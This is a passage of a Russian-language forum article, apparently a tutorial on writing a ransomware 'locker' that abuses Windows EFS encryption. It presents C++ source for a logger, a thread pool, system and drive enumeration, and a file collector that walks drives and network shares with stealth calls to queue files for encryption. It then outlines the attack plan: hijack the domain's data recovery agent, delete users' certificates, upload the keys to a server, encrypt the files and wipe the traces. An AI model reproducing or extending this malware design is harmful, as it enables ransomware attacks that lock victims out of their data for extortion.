        LogType(const COLORS prefixColor, const std::string &prefixText)
        {
            p_color = prefixColor;
            p_prefix = prefixText;
        }

        LogType(const std::string &prefixText, const int logFlag)
        {
            p_prefix = prefixText;
        }
    };


    class Logger
    {
       
    private:
        static void setConsoleColor(const uint8_t color)
        {
            static HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);
            SetConsoleTextAttribute(handle, static_cast<uint8_t>(BLACK) << 4 | color);
        }


        template<typename T>
        static void log(const LogType &logType, T logText)
        {
            static SyncedStream syncedStream;
            setConsoleColor(static_cast<uint8_t>(settings::g_flagTimeColor));
            const auto time = std::chrono::system_clock::now();
            const std::time_t t = std::chrono::system_clock::to_time_t(time);
            std::string timeString(std::ctime(&t));
            timeString.replace(timeString.end() - 1, timeString.end(), " ");
            syncedStream.print(timeString);
            setConsoleColor(static_cast<uint8_t>(logType.p_color));
            syncedStream.print(logType.p_prefix + " ");
            setConsoleColor(static_cast<uint8_t>(logType.p_color + 1));
            syncedStream.println(logText);
            setConsoleColor(static_cast<uint8_t>(settings::g_textColor));
        }

    public:
        template<typename T>
        static void debug(T message)
        {
            log(LogType(ORANGE, "DEBUG:"), message);
        }

        template<typename T>
        static void information(T message)
        {
            log(LogType(GREEN, "INFORMATION:"), message);
        }

        template<typename T>
        static void warning(T message)
        {
            log(LogType(YELLOW, "WARNING:"), message);
        }

        template<typename T>
        static void error(T message)
        {
            log(LogType(RED, "ERROR:"), message);
        }

        template<typename T>
        static void fatalError(T message)
        {
            log(LogType(DARK_RED, "CRITICAL ERROR:"), message);
        }

    };
}

#endif

2.2.2 Многопоточность
Наш «шкафчик» должен быть быстрым. Поэтому работать будем в несколько потоков. Для этого мы напишем свой собственный пул
потоков, отвечающий нашим требованиям. Попробуем определить свойства, которыми должен обладать идеальный Thread Pool:
• Управление потоками: мы хотим эффективно создавать потоки, управлять ими и завершать их работу.
• Организация очереди задач: ещё нам понадобится механизм постановки в очередь задач, которые должны выполняться потоками
в пуле. Под задачей в данном контексте понимаем метод или функцию, которые мы хотим выполнить.
• Повторное использование потоков: создание и уничтожение потоков – операция затратная, поэтому мы хотим эти затраты
минимизировать а следовательно наш пул должен уметь повторно использовать уже отработавшие потоки.
• Планирование задач: еще нам понадобится разработать хитрый алгоритм планирования, позволяющий определить, какой поток
должен выполнить следующую задачу из очереди. Для этого придуманы целые теории, но здесь мы в них погружаться не будем.
• Потокобезопасность: нескольких потоков должны работать с общими ресурсами без конфликтов или повреждения данных. Dead
lock, race condition и прочие страшные слова.
• Масштабируемость: также мы хотим регулировать количество потоков в пуле в зависимости от рабочей нагрузки или системных
ресурсов.
• Гибкость: Позволяет для каждого потока было хорошо иметь настраивать его приоритет, время ожидания и время простоя.
• Обработка ошибок: тут понятно. Мы хотим чтобы наше приложение продолжало работать не смотря на возникающие ошибки и
эксепшены. Для этого нам надо корректно их обрабатывать.
• Мониторинг и отладка: мы в любой момент времени должны получить информацию о производительности пула, как то: исполь-
зование потоков, длина очереди и время выполнения задачи.
• Управление ресурсами.

Такой пул у меня тоже есть в загашниках, поэтому воспользуемся им. Код приведен ниже:

Spoiler: ThreadPool

C++:Copy to clipboard

#ifndef THREAD_POOL_HPP
#define THREAD_POOL_HPP

#include <atomic>
#include <chrono>
#include <condition_variable>
#include <exception>
#include <functional>
#include <future>
#include <iostream>
#include <memory>
#include <mutex>
#include <queue>
#include <thread>
#include <type_traits>
#include <utility>
#include <vector>
namespace tools::multithreading
{
    using ConcurrencyT = std::invoke_result_t<decltype(std::thread::hardware_concurrency)>;


    template<typename T>
    class [[nodiscard]] MultiFuture
    {
    private:
        std::vector<std::future<T>> m_futures;
    public:
        explicit MultiFuture(const size_t numFutures = 0) : m_futures(numFutures)
        {}

        [[nodiscard]] std::conditional_t<std::is_void_v<T>, void, std::vector<T>> get()
        {
            if constexpr (std::is_void_v<T>)
            {
                for (size_t i = 0; i < m_futures.size(); ++i)
                    m_futures[i].get();
                return;
            }
            else
            {
                std::vector<T> results(m_futures.size());
                for (size_t i = 0; i < m_futures.size(); ++i)
                    results[i] = m_futures[i].get();
                return results;
            }
        }

        [[nodiscard]] std::future<T> &operator[](const size_t i)
        {
            return m_futures[i];
        }

        void pushBack(std::future<T> future)
        {
            m_futures.push_back(std::move(future));
        }

        [[nodiscard]] size_t size() const
        {
            return m_futures.size();
        }

        void wait() const
        {
            for (size_t i = 0; i < m_futures.size(); ++i)
                m_futures[i].wait();
        }

    };

    template<typename T1, typename T2, typename T = std::common_type_t<T1, T2>>
    class [[nodiscard]] Blocks
    {
    private:
        size_t m_blockSize = 0;
        T m_firstIndex = 0;
        T m_indexAfterLast = 0;
        size_t m_numBlocks = 0;
        size_t m_totalSize = 0;

    public:

        Blocks(const T1 firstIndex, const T2 indexAfterLast, const size_t numBlocks) : m_firstIndex(static_cast<T>(firstIndex)), m_indexAfterLast(
                static_cast<T>(indexAfterLast)), m_numBlocks(numBlocks)
        {
            if (m_indexAfterLast < m_firstIndex)
                std::swap(m_indexAfterLast, m_firstIndex);
            m_totalSize = static_cast<size_t>(m_indexAfterLast - m_firstIndex);
            m_blockSize = static_cast<size_t>(m_totalSize / m_numBlocks);
            if (m_blockSize == 0)
            {
                m_blockSize = 1;
                m_numBlocks = (m_totalSize > 1) ? m_totalSize : 1;
            }
        }

        [[nodiscard]] T start(const size_t i) const
        {
            return static_cast<T>(i * m_blockSize) + m_firstIndex;
        }

        [[nodiscard]] T end(const size_t i) const
        {
            return (i == m_numBlocks - 1) ? m_indexAfterLast : (static_cast<T>((i + 1) * m_blockSize) + m_firstIndex);
        }

        [[nodiscard]] size_t getNumBlocks() const
        {
            return m_numBlocks;
        }

        [[nodiscard]] size_t getTotalSize() const
        {
            return m_totalSize;
        }

    };

    class [[nodiscard]] ThreadPool
    {
        std::atomic<bool> m_isPaused = false;
        std::atomic<bool> m_running = false;
        std::condition_variable m_taskAvailableCv = {};
        std::condition_variable m_taskDoneCv = {};
        std::queue<std::function<void()>> m_tasks = {};
        std::atomic<size_t> m_tasksTotal = 0;
        mutable std::mutex m_tasksMutex = {};
        ConcurrencyT m_threadCount = 0;
        std::unique_ptr<std::thread[]> m_threads = nullptr;
        std::atomic<bool> m_waiting = false;

    public:

        explicit ThreadPool(const ConcurrencyT threadCount = 0) : m_threadCount(determineThreadCount(threadCount)), m_threads(
                std::make_unique<std::thread[]>(determineThreadCount(threadCount)))
        {
            createThreads();
        }

        ~ThreadPool()
        {
            waitForTasks();
            destroyThreads();
        }


        [[nodiscard]] size_t getTasksQueued() const
        {
            const std::scoped_lock tasksLock(m_tasksMutex);
            return m_tasks.size();
        }


        [[nodiscard]] size_t getTasksRunning() const
        {
            const std::scoped_lock tasks_lock(m_tasksMutex);
            return m_tasksTotal - m_tasks.size();
        }


        [[nodiscard]] size_t getTasksTotal() const
        {
            return m_tasksTotal;
        }


        [[nodiscard]] ConcurrencyT getThreadCount() const
        {
            return m_threadCount;
        }


        [[nodiscard]] bool isPaused() const
        {
            return m_isPaused;
        }


        template<typename F, typename T1, typename T2, typename T = std::common_type_t<T1, T2>, typename R = std::invoke_result_t<std::decay_t<F>, T, T>>
        [[nodiscard]] MultiFuture<R> parallelizeLoop(const T1 firstIndex, const T2 indexAfterLast, F &&loop, const size_t numBlocks = 0)
        {
            Blocks blocks(firstIndex, indexAfterLast, numBlocks ? numBlocks : m_threadCount);
            if (blocks.getTotalSize() > 0)
            {
                MultiFuture<R> mf(blocks.getNumBlocks());
                for (size_t i = 0; i < blocks.getNumBlocks(); ++i)
                {
                    mf[i] = submit(std::forward<F>(loop), blocks.start(i), blocks.end(i));
                }
                return mf;
            } else
            {
                return MultiFuture<R>();
            }
        }


        template<typename F, typename T, typename R = std::invoke_result_t<std::decay_t<F>, T, T>>
        [[nodiscard]] MultiFuture<R> parallelizeLoop(const T indexAfterLast, F &&loop, const size_t numBlocks = 0)
        {
            return parallelizeLoop(0, indexAfterLast, std::forward<F>(loop), numBlocks);
        }


        void pause()
        {
            m_isPaused = true;
        }


        template<typename F, typename T1, typename T2, typename T = std::common_type_t<T1, T2>>
        void pushLoop(const T1 firstIndex, const T2 indexAfterLast, F &&loop, const size_t numBlocks = 0)
        {
            Blocks blocks(firstIndex, indexAfterLast, numBlocks ? numBlocks : m_threadCount);
            if (blocks.getTotalSize() > 0)
            {
                for (size_t i = 0; i < blocks.getNumBlocks(); ++i)
                    pushTask(std::forward<F>(loop), blocks.start(i), blocks.end(i));
            }
        }


        template<typename F, typename T>
        void pushLoop(const T indexAfterLast, F &&loop, const size_t numBlocks = 0)
        {
            pushLoop(0, indexAfterLast, std::forward<F>(loop), numBlocks);
        }


        template<typename F, typename... A>
        void pushTask(F &&task, A &&... args)
        {
            std::function<void()> task_function = std::bind(std::forward<F>(task), std::forward<A>(args)...);
            {
                const std::scoped_lock tasks_lock(m_tasksMutex);
                m_tasks.push(task_function);
            }
            ++m_tasksTotal;
            m_taskAvailableCv.notify_one();
        }


        void reset(const ConcurrencyT threadCount = 0)
        {
            const bool wasPaused = m_isPaused;
            m_isPaused = true;
            waitForTasks();
            destroyThreads();
            m_threadCount = determineThreadCount(threadCount);
            m_threads = std::make_unique<std::thread[]>(m_threadCount);
            m_isPaused = wasPaused;
            createThreads();
        }


        template<typename F, typename... A, typename R = std::invoke_result_t<std::decay_t<F>, std::decay_t<A>...>>
        [[nodiscard]] std::future<R> submit(F &&task, A &&... args)
        {
            std::function<R()> taskFunction = std::bind(std::forward<F>(task), std::forward<A>(args)...);
            std::shared_ptr<std::promise<R>> taskPromise = std::make_shared<std::promise<R>>();
            pushTask(
                    [taskFunction, taskPromise] {
                        try
                        {
                            if constexpr (std::is_void_v<R>)
                            {
                                std::invoke(taskFunction);
                                taskPromise->set_value();
                            } else
                            {
                                taskPromise->set_value(std::invoke(taskFunction));
                            }
                        }
                        catch (...)
                        {
                            try
                            {
                                taskPromise->set_exception(std::current_exception());
                            }
                            catch (...)
                            {
                            }
                        }
                    });
            return taskPromise->get_future();
        }


        void unpause()
        {
            m_isPaused = false;
        }


        void waitForTasks()
        {
            m_waiting = true;
            std::unique_lock tasks_lock(m_tasksMutex);
            m_taskDoneCv.wait(tasks_lock, [this] { return (m_tasksTotal == (m_isPaused ? m_tasks.size() : 0)); });
            m_waiting = false;
        }

    private:
        void createThreads()
        {
            m_running = true;
            for (ConcurrencyT i = 0; i < m_threadCount; ++i)
            {
                m_threads[i] = std::thread(&ThreadPool::worker, this);
            }
        }


        void destroyThreads()
        {
            m_running = false;
            m_taskAvailableCv.notify_all();
            for (ConcurrencyT i = 0; i < m_threadCount; ++i)
            {
                m_threads[i].join();
            }
        }


        [[nodiscard]] static ConcurrencyT determineThreadCount(const ConcurrencyT threadCount)
        {
            if (threadCount > 0)
                return threadCount;
            else
                return std::thread::hardware_concurrency() > 0 ? std::thread::hardware_concurrency() : 1;
        }


        void worker()
        {
            while (m_running)
            {
                std::function<void()> task;
                std::unique_lock<std::mutex> tasks_lock(m_tasksMutex);
                m_taskAvailableCv.wait(tasks_lock, [this] { return !m_tasks.empty() || !m_running; });
                if (m_running && !m_isPaused)
                {
                    task = std::move(m_tasks.front());
                    m_tasks.pop();
                    tasks_lock.unlock();
                    task();
                    tasks_lock.lock();
                    --m_tasksTotal;
                    if (m_waiting)
                        m_taskDoneCv.notify_one();
                }
            }
        }

    };


    class [[nodiscard]] Timer
    {
    public:
        void start()
        {
            m_startTime = std::chrono::steady_clock::now();
        }

        void stop()
        {
            m_elapsedTime = std::chrono::steady_clock::now() - m_startTime;
        }

        [[nodiscard]] std::chrono::milliseconds::rep ms() const
        {
            return (std::chrono::duration_cast<std::chrono::milliseconds>(m_elapsedTime)).count();
        }
        [[nodiscard]] std::chrono::milliseconds::rep seconds() const
        {
            return (std::chrono::duration_cast<std::chrono::seconds>(m_elapsedTime)).count();
        }

        [[nodiscard]] std::string getTime() const
        {
            auto time = seconds();
            if(time < 10)
            {
                time = ms();
                const auto seconds = time / 1000;
                const auto ms = time % 1000;
                return std::to_string(seconds) + "s : " + std::to_string(ms) + "ms";
            }
            if(time < 60) return std::to_string(time ) + "s";
            if(time < 3600)
            {
                const auto minutes = time / 60;
                const auto seconds = time % 60;
                return std::to_string(minutes) + "m :" + std::to_string(seconds) + "s";
            }
            const auto hours = time / 3600;
            const auto minutes = (time % 3600) / 60;
            const auto seconds = minutes / 60;
            return std::to_string(hours) + "h : " + std::to_string(minutes) + "m" + std::to_string(seconds) + "s";
        }
    private:
        std::chrono::time_point<std::chrono::steady_clock> m_startTime = std::chrono::steady_clock::now();

        std::chrono::duration<double> m_elapsedTime = std::chrono::duration<double>::zero();
    };
}


#endif //THREAD_POOL_HPP

2.2.3 Сбор информации о системе.
Помимо всего прочего нам понадобится собрать информацию о системе. В частности нам просто жизненно необходимо получить данные
о дисках, установленных на машине, включая их объем, наличие свободного места, тип файловой системы. Для этого был разработаны два
класса: DriveInfo и FileSystemHelper. Первый представляет собой контейнер, содержащий информацию о диске. Второй эту информацию
получает и записывает ее в первый. Код приведен ниже

Spoiler: DriveInfo

C++:Copy to clipboard

#ifndef DRIVE_INFO_HPP
#define DRIVE_INFO_HPP

#include "tools/defines.hpp"
#include "tools/logging/console_logger.hpp"
#include "tools/string_helper.hpp"
namespace tools::sysinfo
{

    enum class DRIVE_TYPE : int
    {
        DRIVE_UNKNOWN,//  The drive type cannot be determined
        DRIVE_NO_ROOT_DIR,// The root path is invalid; for example, there is no volume mounted at the specified path.
        DRIVE_REMOVABLE,// The drive has removable media; for example, a floppy drive, thumb drive, or flash card reader.
        DRIVE_FIXED,// The drive has fixed media; for example, a hard disk drive or flash drive.
        DRIVE_REMOTE,// The drive is a remote (network) drive.
        DRIVE_CDROM,// The drive is a CD-ROM drive.
        DRIVE_RAMDISK// The drive is a RAM disk.
    };

    enum class FILESYSTEM_TYPE : int
    {
        NTFS = 0,
        FAT32 = 1,
        exFAT = 2,
        UNKNOWN = -1
    };


    class DriveInfo;

    using DriveInfoPtr = std::shared_ptr<DriveInfo>;
    using DriveInfoList = std::deque<DriveInfoPtr>;

    class DriveInfo
    {
    private:
        fs::path m_driveLetter;

        DRIVE_TYPE m_driveType = DRIVE_TYPE::DRIVE_UNKNOWN;

        std::wstring m_volumeName;

        std::wstring m_filesystemName;

        FILESYSTEM_TYPE m_filesystemType = FILESYSTEM_TYPE::UNKNOWN;

        ULONGLONG m_availableDiskSpace = 0;

        ULONGLONG m_totalDiskSpace = 0;

        ULONGLONG m_usedDiskSpace = 0;

        static constexpr auto m_gbDivider = 1024 * 1024 * 1024;
    public:
        void printDriveInfo()
        {
            Logger::information("\tInformation about a drive " + m_driveLetter.string() + "\n" +
                                "A drive type:\t\t\t\t" + getStringDriveType() + "\n" +
                                "A filesystem on the current drive:\t" + StringHelper::wideStringToString(m_filesystemName) + "\n" +
                                "Total space (GB):\t\t\t" + std::to_string(m_totalDiskSpace / m_gbDivider) + "\n" +
                                "Used space (GB):\t\t\t" + std::to_string(m_usedDiskSpace / m_gbDivider) + "\n" +
                                "Available space (GB):\t\t\t" + std::to_string(m_availableDiskSpace / m_gbDivider) + "\n");

        }

        std::string getDriveTypeDescription()
        {
            switch (m_driveType)
            {
                case DRIVE_TYPE::DRIVE_UNKNOWN:
                    return "The drive type cannot be determined";
                case DRIVE_TYPE::DRIVE_NO_ROOT_DIR:
                    return "The root path is invalid; for example, there is no volume mounted at the specified path.";
                case DRIVE_TYPE::DRIVE_REMOVABLE:
                    return "The drive has removable media; for example, a floppy drive, thumb drive, or flash card reader.";
                case DRIVE_TYPE::DRIVE_FIXED:
                    return "The drive has fixed media; for example, a hard disk drive or flash drive.";
                case DRIVE_TYPE::DRIVE_REMOTE:
                    return "The drive is a remote (network) drive.";
                case DRIVE_TYPE::DRIVE_CDROM:
                    return "The drive is a CD-ROM drive.";
                case DRIVE_TYPE::DRIVE_RAMDISK:
                    return "The drive is a RAM disk.";

                    "The drive type cannot be determined";
                     "No Root Dir. The root path is invalid; for example, there is no volume mounted at the specified path.";
                     "Removable. The drive has removable media; for example, a floppy drive, thumb drive, or flash card reader.";
                     "Fixed. The drive has fixed media; for example, a hard disk drive or flash drive.";
                     "Remote. The drive is a remote (network) drive.";
                     "CD ROM. The drive is a CD-ROM drive.";
                     "RAM. The drive is a RAM disk.";

            }
            return "unknown drive type";
        }

        [[nodiscard]] auto isEfsSupported() const -> bool
        {
            return m_filesystemType == FILESYSTEM_TYPE::NTFS || m_filesystemType == FILESYSTEM_TYPE::exFAT;
        }

        [[nodiscard]] DiskSpaceInfo getDiskSpaceInfo() const
        {
            return std::make_tuple(m_totalDiskSpace, m_availableDiskSpace, m_usedDiskSpace);
        }
    };

}

#endif //DRIVE_INFO_HPP

Чтобы не захламлять статью кодом рассмотрим только методы получения списка дисков и информации о конкретном диске.

Spoiler: FileSystemHelper

C++:Copy to clipboard

          auto FileSystemHelper::getDriveInfo(const std::wstring& driveLetter) -> DriveInfoPtr
        {
            try
            {
                auto driveInfo = std::make_shared<DriveInfo>();
                driveInfo->setDriveLetter(driveLetter);
                driveInfo->setDriveType(getDriveType(driveLetter));
                auto [volumeName, filesystemName, fsType] = getVolumeInformation(driveLetter);
                driveInfo->setFilesystemName(filesystemName);
                driveInfo->setVolumeName(volumeName);
                driveInfo->setFilesystemType(fsType);
                auto [total, available, used] = getDiskSpaceInfo(driveLetter);
                driveInfo->setAvailableDiskSpace(available);
                driveInfo->setUsedDiskSpace(used);
                driveInfo->setTotalDiskSpace(total);
                return driveInfo;
            }
            catch (Exception& e)
            {
                Logger::debug(__FUNCTION__);
                Logger::error(e.what());
                throw;
            }
            catch (std::exception& e)
            {
                Logger::debug(__FUNCTION__);
                Logger::error(e.what());
                throw;
            }
        }
       
        auto FileSystemHelper::getDrivesLetters() -> StringListW
        {
            StringListW result;
            wchar_t szBuffer[1024];
            ::GetLogicalDriveStringsW(1024, szBuffer);
            wchar_t* pch = szBuffer;
            while (*pch)
            {
                std::wstring s;
                s.append(pch);
                result.emplace_back(s);
                pch = &pch[_tcslen(pch) + 1];
            }
            return result;
        }

Ещё, по-хорошему, не помешает знать версию ОС, объем установленной оперативной памяти и количество процессоров. Для этого разра-
ботаем вспомогательный класс SysInfo. Ниже приведен код заголовочного файла, реализация достаточна тривиальна.

Spoiler: SystemInfo

C++:Copy to clipboard

#ifndef SYSTEM_INFO_HPP
#define SYSTEM_INFO_HPP

#include <windows.h>
#include "windows_versions.hpp"

namespace tools::sysinfo
{

    class SystemInfo
    {
        WINDOWS_VERSION m_nt_version = WINDOWS_VERSION::UNKNOWN_WINDOWS_VERSION;
        unsigned long m_buildNumber = 0;
        bool m_isWorkStationDetected = false;
        bool m_isServerOsDetected = false;
        bool m_isDomainControllerDetected = false;


    private:
        static auto getOsVersionInfo() -> OSVERSIONINFOEX;

        void determineWindowsVersion();

    public:
        SystemInfo();

        static std::wstring getCurrentUsername();

        [[nodiscard]] auto getWindowsNtVersion() const -> WINDOWS_VERSION;

        void printWindowsVersion() const;

        static std::string getComputerName();

        static std::wstring getComputerNameW();

        static bool isValidUsername(const std::wstring &username);

        static auto isValidCredentials(const std::wstring &username, const std::wstring &password, const std::wstring domain) -> bool;
    };
}

#endif

2.2.4
Перечисление файлов.
Поскольку мы пишем «шкафчик», то нам нужно получить список всех файлов на дисках, затем отфильтровать их, отбросив совсем
древние, системные, а также файлы различного ПО. Согласитесь, нет смысла шифровать их.
Для этого нам понадобится некий инструмент, позволяющий решать поставленную задачу. Назовем его DataCollector. Как и в случае
с пулом потоков определим требования к нему:
• получение списка дисков в системе;
• получение и фильтрация списка файлов для шифрования;
• многопоточная реализация;
• отображение прогресса сбора информации;
• сбор статистики;
Для перечисления файлов на диске воспользуемся старым добрым обходом в ширину.
Многопоточность. У нас есть классный пул потоков. Им и воспользуемся. Как это будет выглядеть. Получим список дисков. Затем
получаем список корневых каталогов на диске. Каждый из них передаем на вход методу, обходящего дерево каталогов в ширину. Затем
этот метод, назовем его collect_data закидываем в пул потоков. Запускаем пул. Собранные файлы скидываем в общую структуру данных,
откуда их будет забирать уже модуль шифрования. Поскольку все операции у нас будут асинхронными, то работыть это будет довольно
быстро. Как только файл прошел фильтры и попал в очередь на шифрование – шифровальщик его оттуда забирает и обрабатывает. А
чтобы не было скучно, то заодно соберем и список шар.
У меня получилась примерно такая реализация:

Spoiler: FileCollector

Заголовочный файл.

C++:Copy to clipboard

        #ifndef FILE_COLLECTOR_HPP
        #define FILE_COLLECTOR_HPP
       
        #include <../defines.hpp>
        #include <search/data_collection/data_collector.hpp>
        #include <configuration/search/search_config.hpp>
       
        namespace core::search::filesystem
        {
            using namespace configuration;
           
           
            class FileCollector : public DataCollector
            {
               
                EntrySet m_processingFolders = {};
               
               
               
                EntrySet m_files;
               
                StringSet m_fileTypes = {};
               
                int m_maxRelevance = 365;
               
                std::map<std::string, std::pair<size_t, size_t>> m_statisticMap;
               
                public:
                explicit FileCollector(SearchConfigPtr config
                , EntryProcessingQueue &processingQueue);
               
                void collect_data() override;
               
                void print_statistic() override;
               
                PTree get_data_collection_results() override;
               
                private:
               
                DataContainer get_data_from_root_dir(const DirEntry &rootFolder);
               
                static FsPathStack init_dir_stack(const fs::path &root);
               
                void setup_thread_pool();
               
                void find_shared_folders(const ConfigPtr &config);
               
                void collect_search_folders();
               
                EntrySet get_coarse_filtered_files(FsPathStack &dirStack);
               
                void collect_entry_statistic(const DirEntry &entry);
               
                void collect_data_in_folder(const DirEntry &folder);
               
                void init_common_search_params();
               
                void add_dirs_to_processing(const EntrySet &inputDirs);
            };
        }
        #endif //FILE_COLLECTOR_HPP

Реализация:

C++:Copy to clipboard

        namespace core::search::filesystem
        {
            using namespace net_client_utils;
            using namespace logging;
            using namespace network;
            static constexpr auto OPTIONS = std::filesystem::directory_options::skip_permission_denied;
           
            FileCollector::FileCollector(SearchConfigPtr config, EntryProcessingQueue &processingQueue) : DataCollector(std::move(config), processingQueue)
            {
                init_common_search_params();
            }
           
            void FileCollector::collect_data()
            {
                collect_search_folders();
                if (m_processingFolders.empty())
                {
                    const auto errorMessage = "Search folders not found or not specified.\n"
                    "Nowhere to look data.\n"
                    "Please check your configuration and try again";
                    Logger::fatal_error(errorMessage);
                    throw SearchOperationError(errorMessage);
                }
                setup_thread_pool();
               
                for (const auto &folder: m_processingFolders)
                {
                    m_pool.push_task([this, folder]() {
                        collect_data_in_folder(folder);
                    });
                }
                m_pool.wait_for_tasks();
                data_collect_finished();
            }
           
            void FileCollector::collect_search_folders()
            {
                if (m_clientType != CLIENT_TYPE::LIGHT_NETWORK_CLIENT)
                {
                    throw InvalidConfiguration("Unsupported client type");
                }
               
                auto config = dynamic_cast<NetworkClientFileSearchConfig * >(m_searchConfig.get());
                const auto inputDirs = config->get_input_dirs();
                add_dirs_to_processing(inputDirs);
                if (!config->is_search_in_shares_enabled())
                return;
                const auto shareEnumConfig = config->get_share_enum_config();
                find_shared_folders(shareEnumConfig);
            }
           
            void FileCollector::init_common_search_params()
            {
                const auto searchMap = m_searchConfig->get_search_map();
                for (const auto &[directionType, direction]: searchMap)
                {
                    const auto &fileTypes = direction.get_file_types();
                    m_fileTypes.insert(fileTypes.begin(), fileTypes.end());
                }
                //        m_maxRelevance = AlgorithmHelper::get_max_relevance(searchMap);
            }
           
            DataContainer FileCollector::get_data_from_root_dir(const DirEntry &rootFolder)
            {
                std::deque<fs::directory_entry> rootDirs;
                std::deque<fs::directory_entry> files;
                try
                {
                    for (auto it = fs::begin(fs::directory_iterator(rootFolder, OPTIONS)); it != fs::end(fs::directory_iterator(rootFolder, OPTIONS)); ++it)
                    {
                        try
                        {
                            make_stealth();
                            const auto &entry = *it;
                            const auto path = entry.path().wstring();
                           
                            if (entry.is_directory())
                            {
                                rootDirs.emplace_back(entry);
                            } else if (entry.is_regular_file())
                            {
                                files.emplace_back(entry);
                            }
                        }
                        catch (std::exception &e)
                        {
                            Logger::fatal_error(e.what());
                        }
                    }
                }
                catch (std::exception &e)
                {
                    Logger::fatal_error(std::format("Error: {}. Reason: {}.", __FUNCTION__, e.what()));
                }
                return std::make_pair(rootDirs, files);
            }
           
            EntrySet FileCollector::get_coarse_filtered_files(FsPathStack &dirStack)
            {
                EntrySet filteredFiles;
                ScoredEntitiesQueue res;
                while (!dirStack.empty())
                {
                    make_stealth();
                    const auto currentDir = dirStack.top();
                    dirStack.pop();
                    auto [subdirs, files] = get_data_from_root_dir(DirEntry(currentDir));
                    for (const auto &subdir: subdirs)
                    {
                        dirStack.push(subdir);
                    }
                    std::copy_if(std::make_move_iterator(files.begin()), std::make_move_iterator(files.end())
                    , std::inserter(filteredFiles, filteredFiles.end()), [this, &res](const fs::path &path) -> bool {
                        try
                        {
                            auto entry = DirEntry(path);
                           
                            if (FileSystemHelper::is_stop_words_found(entry)) return false;
                            if (!fs::exists(entry)) return false;
                            if (!fs::is_regular_file(entry)) return false;
                           
                            collect_entry_statistic(entry);
                            res.push_back(ScoredEntityFactory::create_filesystem_scored_entity(entry));
                            return true;
                        }
                        catch (std::exception &e)
                        {
                            Logger::error(std::format("cannot add file. reason: {}", e.what()));
                            return false;
                        }
                        catch (...)
                        {
                            return false;
                        }
                    }
                    );
                }
                std::lock_guard<std::mutex> lockGuard(m_processingMutex);
                {
                    m_processingQueue.push_back(res);
                    processing_queue_updated();
                }
               
               
                return filteredFiles;
            }
           
            FsPathStack FileCollector::init_dir_stack(const fs::path &root)
            {
                FsPathStack dirs;
                dirs.push(root);
                return dirs;
            }
           
            void FileCollector::collect_entry_statistic(const DirEntry &entry)
            {
                try
                {
                    const std::string ext{entry.extension().string()};
                    if (ext.empty())
                    return;
                   
                    const size_t size{file_size(entry)};
                    auto &[size_accum, count] = m_statisticMap[ext];
                    size_accum += size;
                    count += 1;
                }
                catch (std::exception &e)
                {
                    Logger::error(std::format(" {} Error: {}", __FUNCTION__ , e.what()));
                }
            }
           
            void FileCollector::find_shared_folders(const ConfigPtr &config)
            {
                auto shareEnumerator = std::make_shared<ShareEnumerator>(config);
                shareEnumerator->enumerate_shared_folders();
               
                auto shares = shareEnumerator->get_shared_folders();
                if (!shares)
                {
                    Logger::warning("shared folders not found");
                    return;
                }
                add_dirs_to_processing(*shares);
            }
           
            void FileCollector::add_dirs_to_processing(const EntrySet &inputDirs)
            {
                try
                {
                    std::copy_if(inputDirs.begin(), inputDirs.end(), std::inserter(m_processingFolders, m_processingFolders.end()), [](
                    const DirEntry &entry) -> bool {
                        try
                        {
                            if (FileSystemHelper::is_stop_words_found(entry)) return false;
                            if (!fs::exists(entry)) return false;
                            if (!fs::is_directory(entry)) return false;
                            return true;
                        }
                        catch (std::exception &error)
                        {
                            Logger::error(std::format("Cannot add dir to processing. Reason: {}", error.what()));
                            return false;
                        }
                        catch (...)
                        {
                            return false;
                        }
                    });
                }
                catch (std::exception &e)
                {
                    Logger::error(std::format("Error in the {}. Reason: {}", __FUNCTION__, e.what()));
                }
            }
           
            void FileCollector::setup_thread_pool()
            {
                m_pool.reset(std::thread::hardware_concurrency());
            }
           
            void FileCollector::collect_data_in_folder(const DirEntry &folder)
            {
                try
                {
                    auto dirStack = init_dir_stack(folder);
                    auto filteredFiles = get_coarse_filtered_files(dirStack);
                }
                catch (std::exception &e)
                {
                    Logger::fatal_error(std::format("Error: {}. Reason: {}.", __FUNCTION__, e.what()));
                }
            }
           
            void FileCollector::print_statistic()
            {
                const auto statisticView = Statistic::get_statistic_view(m_statisticMap);
                Logger::information(statisticView);
            }
           
            PTree FileCollector::get_data_collection_results()
            {
                PTree res;
                const auto statisticView = Statistic::get_statistic_view(m_statisticMap);
                res.add("file_collector_results", statisticView);
                return res;
            }
        }

На этом закончим со вспомогательными методами и перейдем непосредственно к реализации шифровальщика.

3 Шифровальщик
3.1 Архитектура
Как мы выяснили ранее, для подготовки шифрования средствами EFS нам необходимо провести несколько шаманских обрядов. В
частности настроить центр сертификации на контроллере домена. Удалить, если они есть, сертификаты пользователей, которым назначены
функции Data Recovery Agent’ов. Создать свой сертификат DRA. Будем считать, что это уже сделано и мы работаем на подготовленной
машине.
У нас получается примерно следующий алгоритм действий (таки да, я почти полностью продублировал его из введения, но тут мы на
него посмотрим со стороны архитектуры и реализации):
1. обновить групповые политики на хосте, чтобы система узнала о новом DRA;
2. проверить наличие сертификатов EFS в локальном хранилище пользователя. Если они есть – удалить;
3. сгенерировать собственный сертификат, но уже привязанный к нашему DRA;
4. экспортировать сертификат в файл .pfx под паролем (пароль мы захардкодим, у нас же PoC. а не рабочий продукт);
5. не забыть удалить приватный ключ, которым мы шифруем FEK’и вместе с сертификатом;
6. полученный файлик залить куда нибудь на сервер, чтобы когда от нас потребуется расшифровать одну машину – именно это мы и
сделаем; Это возможно сделать даже без DRA, если я правильно понял. Надо проверить потом.
7. сделать свое грязное дело – то бишь зашифровать файлы;
8. удалить сертификат из хранилища;
9. почистить кэш хранилища сертификатов, чтобы, что называется, наверняка.
10. после завершения шифрования всех хостов – удалить сертификат DRA с контроллера домена, предварительно экспортируя его в
надежное место – на тот же сервер, куда и остальные ключи, например. Последний пункт вызывает много вопросов, на которые я
не готов ответить, т.к. продукт был набросан на коленке за пару вечеров и мне жаль тратить время на проверку всех гипотез.
Опять применим «метод пристального всматривания» и обнаружим, что по сути дела весь алгоритм это некая линейная после-
довательность действий. Причем каждое действие мы можем выполнить фактически независимо от других. Сюда прямо таки просится
реализация шаблона проектирования «Command». То есть каждое действие – это команда, которую мы отдаем и ожидаем завершения ее
выполнения.
А для непосредственного шифрования файлов мы применим паттерн «Стратегия», который позволяет менять алгоритмы обработки
данных на лету. «Фокус-покус-тру-ля-ля» – и мы вместо EFS шифрования можем использовать любое другое. Например, если обнаружим,
